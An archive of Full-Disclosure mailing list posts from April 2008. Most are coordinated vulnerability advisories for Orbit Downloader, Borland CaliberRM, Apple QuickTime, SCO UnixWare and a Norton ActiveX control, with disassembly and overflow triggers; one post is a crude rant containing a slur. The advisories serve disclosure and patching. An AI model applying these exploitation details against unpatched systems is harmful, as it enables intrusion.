business cards! http://tagline.hushmail.com/fc/REAK6ZBNoFk253woXiX9qznLAFCjSC8EH7DfdRHbFScKtHp7R40FgE/ >> From jeffrey.bellushi at gmail.com Thu Apr 3 20:47:21 2008 From: jeffrey.bellushi at gmail.com (Jeffrey Bellushi) Date: Thu, 3 Apr 2008 15:47:21 -0400 Subject: [Full-disclosure] CEH Training Message-ID: All, Anyone ever been to http://unethicalhacker.net/ for free CEH training? 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/e39431f3/attachment.html From advisories at coresecurity.com Thu Apr 3 22:15:45 2008 From: advisories at coresecurity.com (CORE Security Technologies Advisories) Date: Thu, 03 Apr 2008 18:15:45 -0300 Subject: [Full-disclosure] CORE-2008-0314 - Orbit Downloader "Download failed" buffer overflow Message-ID: <47F54901.10103@coresecurity.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Orbit Downloader "Download failed" buffer overflow *Advisory Information* Title: Orbit Downloader "Download failed" buffer overflow Advisory ID: CORE-2008-0314 Advisory URL: http://www.coresecurity.com/?action=item&id=2211 Date published: 2008-04-03 Date of last update: 2008-04-03 Vendors contacted: Orbit Downloader team Release mode: Coordinated release *Vulnerability Information* Class: Buffer overflow Remotely Exploitable: Yes Locally Exploitable: No Bugtraq ID: 28541 CVE Name: CVE-2008-1602 *Vulnerability Description* Orbit downloader [1] is vulnerable to a buffer overflow attack, which can be exploited by malicious remote attackers to execute arbitrary code. The vulnerability is due to Orbit not properly converting an URL ascii string to unicode. This can be exploited to execute arbitrary code by downloading a file from a specially crafted URL. *Vulnerable Packages* . Orbit downloader 2.6.3 and 2.6.4. . Older versions could be vulnerables too, but they were not tested. *Non-vulnerable Packages* . Orbit downloader 2.6.5. *Vendor Information, Solutions and Workarounds* Update to Orbit downloader 2.6.5, available at http://dl.orbitdownloader.com/dl/OrbitDownloaderSetup.exe, or visit the vendor homepage at http://www.orbitdownloader.com. *Credits* This vulnerability was discovered and researched by Diego Juarez from Core Security Technologies. *Technical Description / Proof of Concept Code* When Orbit is unable to download a file, a balloon control is popped in the notification area. This is the code that takes care of drawing text to said control: /----------- .text:004A56D0 sub_4A56D0 proc near ; CODE XREF: sub_42AAC0+321 p .text:004A56D0 ; sub_439610+321 p ... .text:004A56D0 .text:004A56D0 String = word ptr -2000h .text:004A56D0 hDC = dword ptr 4 .text:004A56D0 arg_4 = dword ptr 8 .text:004A56D0 lpRect = dword ptr 0Ch .text:004A56D0 uFormat = dword ptr 10h .text:004A56D0 .text:004A56D0 mov eax, 2000h ; reserve 0x2000 (8192) bytes in the stack .text:004A56D5 call __alloca_probe .text:004A56DA push edi .text:004A56DB mov ecx, 800h .text:004A56E0 xor eax, eax .text:004A56E2 lea edi, [esp+2004h+String] .text:004A56E6 rep stosd .text:004A56E8 mov eax, [esp+2004h+arg_4] .text:004A56EF pop edi .text:004A56F0 mov ecx, [eax+8] .text:004A56F3 mov eax, [eax+4] .text:004A56F6 test eax, eax .text:004A56F8 jnz short loc_4A56FF .text:004A56FA mov eax, ds:?_C@?1??_Nullstr@? basic_string at DU? char_traits at D@std@@V? allocator at D@2@@std@@CAPBDXZ at 4DB ; .text:004A56FF .text:004A56FF loc_4A56FF: ; CODE XREF: sub_4A56D0+28 j .text:004A56FF lea edx, [esp+2000h+String] .text:004A5703 push 2000h ; cchWideChar (write up to 16384 bytes to the buffer) .text:004A5708 push edx ; lpWideCharStr .text:004A5709 push ecx ; cchMultiByte .text:004A570A push eax ; lpMultiByteStr .text:004A570B push 0 ; dwFlags .text:004A570D push 0 ; CodePage .text:004A570F call ds:MultiByteToWideChar .text:004A5715 mov ecx, [esp+2000h+uFormat] .text:004A571C mov edx, [esp+2000h+lpRect] .text:004A5723 push ecx ; uFormat .text:004A5724 mov ecx, [esp+2004h+hDC] .text:004A572B push edx ; lpRect .text:004A572C push eax ; nCount .text:004A572D lea eax, [esp+200Ch+String] .text:004A5731 push eax ; lpString .text:004A5732 push ecx ; hDC .text:004A5733 call ds:DrawTextW .text:004A5739 add esp, 2000h .text:004A573F retn .text:004A573F endp ;sub_4A56D0 - -----------/ According to MSDN [2], the Win32 API function /----------- int MultiByteToWideChar( UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar ); - -----------/ has a parameter 'cchWideChar' which should be the "size, in WCHAR values, of the buffer indicated by lpWideCharStr". By supplying a download URL longer than 4096 bytes, if the download fails, 'MultiByteToWideChar' will overflow the 8192 bytes buffer in the stack and write up to 0x2000 WCHARs (16384 bytes) to it, overwriting internal structures and enabling arbitrary code execution. *Report Timeline* . 2008-03-19: Core Security Technologies notifies the Orbit team of the vulnerability. . 2008-03-27: The Orbit team asks Core Security Technologies for technical description of the vulnerability. . 2008-03-27: Technical details sent to Orbit team by Core Security Technologies. . 2008-04-03: Orbit notifies Core Security Technologies that a fix has been produced. . 2008-04-03: CORE-2008-0314 advisory is published. *References* [1] http://www.orbitdownloader.com [2] http://msdn2.microsoft.com/en-us/library/ms776413(VS.85).aspx *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. *Disclaimer* The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. *GPG/PGP Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFH9UkByNibggitWa0RAuXFAJ4v5Fgp5RNTdK/7uOpzenSArY4jUQCeKV4D 4aeviH5oHhjdIRFmDLVVUx0= =v9yp -----END PGP SIGNATURE----- From xploitable at gmail.com Thu Apr 3 22:38:49 2008 From: xploitable at gmail.com (n3td3v) Date: Thu, 3 Apr 2008 22:38:49 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <004e01c89593$4cec60f0$336b880a@softpro.corp> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> Message-ID: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff wrote: > Regarding the particular person in question, I'll defer to others who know > him (or her, or they, or whomever) better than I do. Instead, I'll say that, > generally, on lists like FD, there is a minority of out-spoken personalities > who sadly support the stereotypical hacker persona: condescending egoists > who are socially inept and emotionally charged when discussing topics that > relate to their knowledge domain. That's unfortunate, since the broader IT > security community is poorly represented due to attention-seeking zealots. > > Regarding the idea of "oulawing security conference spamming," I'd say the > literal idea of outlawing cross-posts to multiple security mailing lists is > a bad idea. The idea that the legislature should write into law legislation > that reduces our freedom in such a sense is a slippery slope borne of > emotionalism and narrowness. What else should the government do to curtail > our freedoms? I tend to side with libertarian types (though I don't call > myself a "libertarian" un-qualified) on what the government should do and > what they should not do. And micro-manage security mailing lists is > something they should not do. It's a bad idea and would make a dreadful > precedent. Full-Disclosure is ment to be about free source, not making money. I'm against people who make money come on the mailing lists, its commerical spam. We can't allow this to continue, here are what I don't like: - Come to our conference - profit... buy our ticket, get a macbook prize. - Hacking challenge prize - profit... they give you $5000 and sell it to the vendor for a lot more. - Train to use our software -profit... over priced training for software... not interested. On the issue of how much a vulnerability is worth, the prices are not regulated, we need regulation into how much a vulnerability costs, because the prices right now are wild. We need to take vulnerability pricing off the blackmarket and onto a legitimate central website for selling vulnerabilities, or cash rewards for disclosing a vulnerability to a particular company or organisation. I don't like sites like digital armaments which when i visited it, the content and answers they gave were questionable, and people have complained about digital armaments in the past. Its time to get pricing regulated and defined, so everyone knows whos being joe jobbed and who isn't. Can someone post to full-disclosure a price list of what they think a bufferoverflow should be worth etc, and we can vote if we agree. So what i'm calling for is someone to post up a hackers price list per vulnerability type. XSS/SQL should be worth something as well, so Morning_Wood can buy milk and a news paper in the mornings after he's taken care of his wood. Sorry i've ended this e-mail with slightly off-topicness, but I do think pricing needs to be defined. We can't dress up cash prizes/contests as something else as well, if a website is offering a $5,000 reward for a vulnerability, we need to know if we're being ripped off with the cash reward and how much can be potentially made after its sold on. Robert Lemos even http://www.securityfocus.com/news/11510 talked about vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash reward might not be enough money, compared to what a vulnerability *should* be worth, and taking into consideration how much profit CanSecWest make overall from people attending the conference. So you take into consideration how much a vulnerability should be worth, then the added worth because its a security conference of how much should be added on to counter the profit being made by the event. A vulnerability should be worth more if its disclosed at a security conference than if its bought privately, because you've got to take in profit and free advertsing to calculate. However, to round off, we can't allow the mailing lists to turn into a vulnerability market place, full-disclosure should be for free stuff, and other websites and mailing lists can be setup for *money making schemes and auctions*. We shouldn't allow the money makers directly to market X... if a link is put on Full-Disclosure by a member of the public on the fly then thats ok, but I think its cheeky for the particular conference, contest runner or software trainer to be on the list themselves spamming everyone, for a profiteering agenda. You mention cross-posting, thats not the issue here, its the people making the money posting to make the money that offends me so much. And not even the lonely hacker offends me who posts i've got a vulnerability for sale for X, I don't mind that on Full-Disclosure, but what I do mind is if its a company or organisation doing it that is directly the ones making the money via vulnerability for sale, prize contest, security conference or train to use our software!!!, thats the height of spam I just think is utterly wrong and unethical on any scale of acceptability. If a lonley hacker who works in a supermarket has a vulnerabilty to sell i'm all for it being post on full-disclosure, but not the big money conferences, prize hacking contests and software training guys. I come under the bracket as supermarket worker with nothing much going for me in life, so I should be allowed to sell a vulnerability on what's ment to be a mailing list for non-profit disclosure. If we tolerate the money making schemes much longer, eventually full-disclosure will be a wash with conference,training,cash prize spam, etc once everyone realises the full value of vulnerabilities and the huge amounts of money to be made from setting up a cash prize contest, the huge amounts of money to be made from setting up a security conference and the huge amounts of money to be made from training people to use your hax0r software. You will find it easy to shout me down and say n3td3v's an idiot, but wait to the vulnerability market really takes off and the prices of vulnerabilities are properly defined and regulated, you're going to see a huge increase in commercial spam on the mailing lists, like the full-disclosure mailing list. so we've got to define what's fair play e-mail and what's a company or organisation blatantly profiteering with X method of extracting money out of people and using skilled hackers to make money, and to promote a security conference, training etc. All the best, n3td3v From labs-no-reply at idefense.com Thu Apr 3 22:43:27 2008 From: labs-no-reply at idefense.com (iDefense Labs) Date: Thu, 03 Apr 2008 17:43:27 -0400 Subject: [Full-disclosure] iDefense Security Advisory 04.02.08: Borland CaliberRM StarTeam Multicast Service Buffer Overflow Vulnerability Message-ID: <47F54F7F.3070500@idefense.com> iDefense Security Advisory 04.02.08 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 02, 2008 I. BACKGROUND Borland CaliberRM is an enterprise software requirements management system. It is part of Borland's distributed development and deployment solution. For more information about Borland CaliberRM, please visit following website. http://www.borland.com/us/products/caliber/index.html II. DESCRIPTION Remote exploitation of a buffer overflow vulnerability in Borland Software Corp.'s CaliberRM enterprise software requirements management system could allow attackers to execute arbitrary code with SYSTEM level privileges. This vulnerability exists in the StarTeam Multicast Service component (STMulticastService). This service is implemented using the HTTP protocol. The vulnerable function, PGMWebHandler::parse_request, is shown below. .text:003AA15D call PGMWebHandler::parse_request(char const *,uint,char *,uint,http_request_info_t &) ... .text:003AA35E loc_3AA35E: .text:003AA35E mov al, [ebx] .text:003AA360 cmp al, 0Ah .text:003AA362 mov [edx], al ; edx points to the stack, overflowable because of the loop .text:003AA364 jnz loc_3AA4EF ... .text:003AA36A mov byte ptr [edx+1], 0 .text:003AA36E mov al, byte ptr [esp+618h+lbuff] .text:003AA372 cmp al, 0Dh .text:003AA374 jz loc_3AA509 ... .text:003AA4F0 loc_3AA4F0: .text:003AA4F0 mov eax, [esp+618h+count] .text:003AA4F4 mov ecx, [esp+618h+req_len] .text:003AA4FB inc ebx .text:003AA4FC inc eax .text:003AA4FD cmp eax, ecx .text:003AA4FF mov [esp+618h+count], eax .text:003AA503 jl loc_3AA35E ; loop back up While searching for the standard 0x0a0d that ends HTTP requests, a loop copies attacker supplied data byte by byte into a fixed-size stack buffer. If a large enough request is sent, the return address, SEH pointers, and other stack data is overwritten. III. ANALYSIS Exploitation allows attackers to execute arbitrary code with SYSTEM level privileges. In order to exploit this vulnerability an attacker would have to send malicious data to the STMulticastService service listening on TCP port 3057. The StarTeam Multicast service is not installed by default with CaliberRM 2006. The user must enable MPX Events and the StarTeam Message Broker option during the installation process. IV. DETECTION iDefense confirmed that the trial version of Borland CaliberRM 2006 (file version 9.0.809.000) is vulnerable. The actual vulnerable component is StarTeam Multicast Service 6.4. Other Borland products containing StarTeam Multicast Service component, such as Borland StarTeam, may also be affected. V. WORKAROUND In order to prevent exploitation of this vulnerability, administrators can disable the Multicast Service monitoring port. For more information consult Borland's Knowledge Base at the following URL. http://support.borland.com/kbshow.php?q=29083 VI. VENDOR RESPONSE Borland Software Corp. has not responded to repeated inquiries regarding this vulnerability. iDefense Labs confirmed that the current version (Borland CaliberRM 2008) still contains the vulnerable code. However, the monitoring port appears to be disabled in a default installation. VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-0311 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 03/20/2007 Initial vendor notification 03/20/2007 Initial vendor response 08/06/2007 Second vendor notification 11/02/2007 Third vendor notification 04/02/2008 Public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. 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From zdi-disclosures at 3com.com Thu Apr 3 22:53:12 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:53:12 -0500 Subject: [Full-disclosure] ZDI-08-017: Apple QuickTime Kodak Encoding Heap Overflow Vulnerability Message-ID: ZDI-08-017: Apple QuickTime Kodak Encoding Heap Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-017 April 3, 2008 -- CVE ID: CVE-2008-1020 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- Vulnerability Details: This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the quicktime.qts library responsible for parsing Kodak encoded images. A lack of proper error checking can result in a heap based buffer overflow leading to arbitrary code execution under the context of the currently logged in user. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://support.apple.com/kb/HT1241 -- Disclosure Timeline: 2008-02-07 - Vulnerability reported to vendor 2008-04-03 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * Ruben Santamarta of Reversemode.com -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 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From zdi-disclosures at 3com.com Thu Apr 3 22:55:25 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:55:25 -0500 Subject: [Full-disclosure] ZDI-08-019: Apple QuickTime Malformed VR obji Atom Parsing Memory Corruption Vulnerability Message-ID: ZDI-08-019: Apple QuickTime Malformed VR obji Atom Parsing Memory Corruption Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-019 April 3, 2008 -- CVE ID: CVE-2008-1022 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 5954. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must open a malicious file. The specific flaw exists in the parsing of the QuickTime VR 'obji' atom. When the size of the atom is set to 0, a stack overflow condition occurs resulting in the execution of arbitrary code. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://support.apple.com/kb/HT1241 -- Disclosure Timeline: 2008-02-07 - Vulnerability reported to vendor 2008-04-03 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * Anonymous -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. 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From zdi-disclosures at 3com.com Thu Apr 3 22:50:24 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:50:24 -0500 Subject: [Full-disclosure] ZDI-08-015: Apple QuickTime Clipping Region Heap Overflow Vulnerability Message-ID: ZDI-08-015: Apple QuickTime Clipping Region Heap Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-015 April 3, 2008 -- CVE ID: CVE-2008-1017 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 5931. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com -- Vulnerability Details: This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the quicktime.qts library. The vulnerability resides in the component's parsing of 'crgn' atoms. A lack of proper sanity checks on the region size field can result in a heap based buffer overflow leading to arbitrary code execution under the context of the currently logged in user. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://support.apple.com/kb/HT1241 -- Disclosure Timeline: 2008-02-07 - Vulnerability reported to vendor 2008-04-03 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * Sanbin Li -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. 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From zdi-disclosures at 3com.com Thu Apr 3 22:51:23 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:51:23 -0500 Subject: [Full-disclosure] ZDI-08-016: Apple QuickTime MP4A Atom Parsing Heap Corruption Vulnerability Message-ID: ZDI-08-016: Apple QuickTime MP4A Atom Parsing Heap Corruption Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-016 April 3, 2008 -- CVE ID: CVE-2008-1018 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 3377. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific flaw exists in the parsing of the QuickTime Channel Compositor atom. When the movie file contains a malformed 'chan' atom, a heap corruption occurs resulting in the execution of arbitrary code. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://support.apple.com/kb/HT1241 -- Disclosure Timeline: 2008-02-07 - Vulnerability reported to vendor 2008-04-03 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * Anonymous -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. 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From zdi-disclosures at 3com.com Thu Apr 3 22:49:25 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:49:25 -0500 Subject: [Full-disclosure] ZDI-08-014: Apple Quicktime Multiple Opcode Memory Corruption Vulnerabilities Message-ID: ZDI-08-014: Apple Quicktime Multiple Opcode Memory Corruption Vulnerabilities http://www.zerodayinitiative.com/advisories/ZDI-08-014 April 3, 2008 -- CVE ID: CVE-2008-1019 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must open a malicious file. The specific flaw exists in the quickTime.qts while parsing corrupted .pict files. The module contains a vulnerable memory copy loop which searches for a terminator value. When this value is changed or omitted, a heap corruption occurs allowing the execution of arbitrary code. -- Vendor Response: Apple has issued an update to correct this vulnerability. More details can be found at: http://support.apple.com/kb/HT1241 -- Disclosure Timeline: 2008-02-07 - Vulnerability reported to vendor 2008-04-03 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by: * bugfree -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ CONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is being sent by 3Com for the sole use of the intended recipient(s) and may contain confidential, proprietary and/or privileged information. Any unauthorized review, use, disclosure and/or distribution by any recipient is prohibited. If you are not the intended recipient, please delete and/or destroy all copies of this message regardless of form and any included attachments and notify 3Com immediately by contacting the sender via reply e-mail or forwarding to 3Com at postmaster at 3com.com. From zdi-disclosures at 3com.com Thu Apr 3 22:54:32 2008 From: zdi-disclosures at 3com.com (zdi-disclosures at 3com.com) Date: Thu, 3 Apr 2008 16:54:32 -0500 Subject: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability Message-ID: ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-018 April 3, 2008 -- CVE ID: CVE-2008-1021 -- Affected Vendors: Apple -- Affected Products: Apple Quicktime 7.4.1 -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 5998. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com -- Vulnerability Details: This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of QuickTime files that utilize the Animation codec. A lack of proper length checks can result in a heap based buffer overflow leading to arbitrary code execution under the context of the currently logged in user. -- Vendor Response: Apple has issued an update to correct this vulnerability. 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If you are not the intended recipient, please delete and/or destroy all copies of this message regardless of form and any included attachments and notify 3Com immediately by contacting the sender via reply e-mail or forwarding to 3Com at postmaster at 3com.com. From labs-no-reply at idefense.com Thu Apr 3 23:47:32 2008 From: labs-no-reply at idefense.com (iDefense Labs) Date: Thu, 03 Apr 2008 18:47:32 -0400 Subject: [Full-disclosure] iDefense Security Advisory 04.03.08: SCO UnixWare pkgadd Directory Traversal Vulnerability Message-ID: <47F55E84.3000903@idefense.com> iDefense Security Advisory 04.03.08 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 03, 2008 I. BACKGROUND SCO UnixWare is a UNIX operating system that runs on many OEM platforms. The pkgadd command is used to install packages on the system. More information about the product is available from the URL shown below. http://www.sco.com/products/unixware714/ II. DESCRIPTION Local exploitation of a directory traversal vulnerability within the pkgadd program distributed with SCO Group Inc's UnixWare operating system allows attackers to gain root privileges. By setting an environment variable to a value containing directory traversal sequences, such as "../", an attacker can cause the program to create or append to arbitrary files on the system. III. ANALYSIS Exploitation allows attackers gain root privileges. Access to execute arbitrary shell commands is required to exploit this issue. By targeting specific system files, an attacker can add accounts or otherwise facilitate privilege escalation. IV. DETECTION iDefense confirmed the existence of this vulnerability within version 7.1.4 of UnixWare with all patches available as of August 27th, 2007 installed. Previous versions are suspected to be vulnerable. V. WORKAROUND Changing the permissions of the pkgadd command to only allow root to execute this program will prevent exploitation of this vulnerability. # chmod 700 /usr/sbin/pkgadd VI. VENDOR RESPONSE SCO has addressed this vulnerability by releasing patches. For more information, consult their advisory at the following URL. http://www.sco.com/support/update/download/release.php?rid=324 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-0310 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 09/04/2007 Initial vendor notification 10/30/2007 Initial vendor response 04/03/2008 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright ? 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From labs-no-reply at idefense.com Thu Apr 3 23:55:51 2008 From: labs-no-reply at idefense.com (iDefense Labs) Date: Thu, 03 Apr 2008 18:55:51 -0400 Subject: [Full-disclosure] iDefense Security Advisory 04.02.08: Symantec Norton Internet Security 2008 ActiveX Control Buffer Overflow Vulnerability Message-ID: <47F56077.4000008@idefense.com> iDefense Security Advisory 04.02.08 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 02, 2008 I. BACKGROUND Norton Internet Security 2008 is a system security suite that offers protection from spyware, viruses, identity theft, spam, and malicious network traffic. More information can be found on the vendor's site at the following URL. http://www.symantec.com/home_homeoffice/products/overview.jsp?pcid=is&pvid=nis2008 II. DESCRIPTION Remote exploitation of a buffer overflow vulnerability in an ActiveX control installed by Symantec Norton Internet Security 2008 could allow for the execution of arbitrary code. Norton Internet Security 2008 installs the following ActiveX control which is registered as safe for scripting: Clsid: 3451DEDE-631F-421c-8127-FD793AFC6CC8 File: C:\PROGRA~1\COMMON~1\SYMANT~1\SUPPOR~1\SymAData.dll Version 2.7.0.1 This control contains an exploitable stack based buffer overflow. III. ANALYSIS Exploitation allows attackers to execute arbitrary code with the privileges of the currently logged in user. In order for exploitation to occur, an attacker would have to lure a vulnerable user to a malicious web site. While this control is marked as safe for scripting, the control has been designed so that it can only be run from the "symantec.com" domain. In practice this requirement can be bypassed through the use of any Cross Site Scripting (XSS) vulnerabilities in the Symantec domain. Exploitation could also occur through the use of DNS poisoning attacks. IV. DETECTION iDefense confirmed that this vulnerability exists in version 2.7.0.1 of the control that is installed with the 2008 version of Norton Internet Security. Other versions may also be available. V. WORKAROUND Setting the kill-bit for this control will prevent it from being loaded within Internet Explorer. However, doing so will prevent legitimate use of the control. VI. VENDOR RESPONSE Symantec has addressed this vulnerability by releasing updates. For more information, refer to their advisory at the following URL. http://www.symantec.com/avcenter/security/Content/2008.04.02a.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-0312 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/05/2007 Initial vendor notification 12/05/2007 Initial vendor response 04/02/2008 Coordinated public disclosure IX. CREDIT This vulnerability was reported to iDefense by Peter Vreugdenhil. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright ? 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From labs-no-reply at idefense.com Fri Apr 4 00:01:57 2008 From: labs-no-reply at idefense.com (iDefense 